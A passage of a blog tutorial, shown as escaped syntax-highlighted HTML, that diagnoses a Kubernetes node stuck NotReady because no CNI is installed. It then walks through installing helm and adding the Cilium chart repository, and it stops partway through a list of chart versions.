\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSun\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2022\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-04-17\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e19\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:22:19\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAST.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eApr\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e17\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e20\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:53:15\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubelet[\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e19727\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e]:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eE0417\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e20\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:53:15.951350\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e19727\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubelet.go:2347]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Container runtime network not ready\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enetworkReady=\"NetworkReady=false reason:NetworkPluginNotReady message:Network plugin returns error: cni plugin not initialized\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eApr\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e17\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e20\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:53:20\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubelet[\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e19727\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e]:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eE0417\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e20\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:53:20.952148\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e19727\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubelet.go:2347]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Container runtime network not ready\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enetworkReady=\"NetworkReady=false reason:NetworkPluginNotReady message:Network plugin returns error: cni plugin not initialized\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eIt is clear the problem is that we are missing the CNI.  The other way you can find out what is\ngoing on is describing the node:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edescribe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enode\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrolplane\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis will have a lot of information but if you scroll through there looking at \u003ccode\u003eReason\u003c/code\u003e you\nmight see something useful.  In this case under \u003ccode\u003eLease\u003c/code\u003e you would see:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edescribe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enode\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNotReady\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eFalse\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSun,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e17\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eApr\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2022\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e20\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:53:37\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-0400\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSun,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e17\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eApr\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2022\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e20\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:43:07\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-0400\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eKubeletNotReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e              \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtainer\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eruntime\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enetwork\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enot\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eready:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNetworkReady=\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003efalse\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ereason:NetworkPluginNotReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emessage:Network\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eplugin\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ereturns\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eerror:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecni\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eplugin\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enot\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einitialize\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eLets get our CNI installed, we’ll be using cilium!\u003c/p\u003e\n\u003ch2\u003eSetting up your CNI!\u003c/h2\u003e\n\u003cp\u003eCilium has great documentation over \u003ca href=\"https://docs.cilium.io/en/v1.9/gettingstarted/k8s-install-kubeadm/\"\u003ehere\u003c/a\u003e,\nbut I’ll walk you through it anyways.  I do recommend checking out their documentation so you\nare familiar with it.   We will use \u003ccode\u003ehelm\u003c/code\u003e to pull down the version of cilium we want:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecurl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-fsSL\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://baltocdn.com/helm/signing.asc\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003egpg\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--dearmor\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/apt/trusted.gpg.d/helm.gpg\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einstall\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-transport-https\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--yes\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eecho\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"deb https://baltocdn.com/helm/stable/debian/ all main\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etee\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/apt/sources.list.d/helm-stable-debian.list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eupdate\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einstall\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehelm\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow we can install cilium!  It is \u003cem\u003every\u003c/em\u003e important that you pay attention to the\ncompatibility of cilium with the version of kubernetes you are intstalling. Check\nthe compatibility list \u003ca href=\"https://docs.cilium.io/en/v1.12/concepts/kubernetes/compatibility/\"\u003ehere\u003c/a\u003e.\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehelm\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erepo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eadd\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecilium\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://helm.cilium.io/\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehelm\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erepo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eupdate\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eOnce the repo is added you can list the versions available:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehelm\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esearch\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erepo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-l\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ehead\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-n8\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \t\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCHART\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eVERSION\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e\t\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAPP\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eVERSION\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e\t\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eDESCRIPTION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.12\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.12\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \t\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeBPF-based\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNetworking,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSecurity,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eand\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eObservability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.12\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.12\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \t\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeBPF-based\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNetworking,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSecurity,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eand\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eObservability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.8\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.8\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \t\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeBPF-based\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNetworking,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSecurity,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eand\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eObservability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.7\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.7\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \t\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeBPF-based\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNetworking,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSecurity,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eand\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eObservability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.6\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.6\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \t\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeBPF-based\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNetworking,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSecurity,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eand\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eObservability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.5\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.5\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \t\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeBPF-based\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNetworking,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSecurity,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: 